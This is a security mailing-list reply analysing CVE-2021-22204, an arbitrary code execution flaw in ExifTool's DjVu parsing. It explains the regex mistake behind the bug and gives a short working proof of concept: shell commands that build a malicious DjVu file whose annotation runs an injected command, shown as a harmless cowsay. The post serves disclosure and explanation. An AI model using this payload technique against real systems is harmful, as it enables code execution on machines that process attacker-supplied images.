oss-security - Re: [CVE-2021-22204] ExifTool - Arbitrary code execution in the DjVu module when parsing a malicious image

Follow @Openwall on Twitter for new release announcements and other news

[<prev] [next>] [<thread-prev] [day] [month] [year] [list]

Message-ID: <20210510134618.dcarjcit5ftpomdm@jwilk.net>
Date: Mon, 10 May 2021 15:46:18 +0200
From: Jakub Wilk <jwilk@...lk.net>
To: <oss-security@...ts.openwall.com>
Subject: Re: [CVE-2021-22204] ExifTool - Arbitrary code
 execution in the DjVu module when parsing a malicious image

* William Bowling <will@...wling.info>, 2021-05-09, 14:32:
>ExifTool 7.44 to 12.23 has a bug in the DjVu module which allows for 
>arbitrary code execution when parsing malicious images.

Using eval() to parse C-like strings is undoubtedly a terrible idea, but 
the code does attempt to neutralize the input, and it wasn't immediately 
obvious to me where the bug is. It turns out the way it determines where 
the string ends is incorrect:

    # we're good unless quote was escaped by odd number of backslashes
    last unless $tok =~ /(\\+)$/ and length($1) & 0x01;

But $ doesn't match only the end of the string; it matches also before 
the trailing newline. You need \z if you want only the former. (But of 
course in this case ditching eval(), rather than fine-tuning the regex, 
was the right course of action.)

Proof of concept:

   $ printf 'P1 1 1 0' > moo.pbm
   $ cjb2 moo.pbm moo.djvu
   $ printf 'ANTa\0\0\0\40"(xmp(\\\n".qx(cowsay pwned>&2);#"' >> moo.djvu
   $ exiftool moo.djvu > /dev/null
    _______
   < pwned >
    -------
           \   ^__^
            \  (oo)\_______
               (__)\       )\/\
                   ||----w |
                   ||     ||

-- 
Jakub Wilk

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.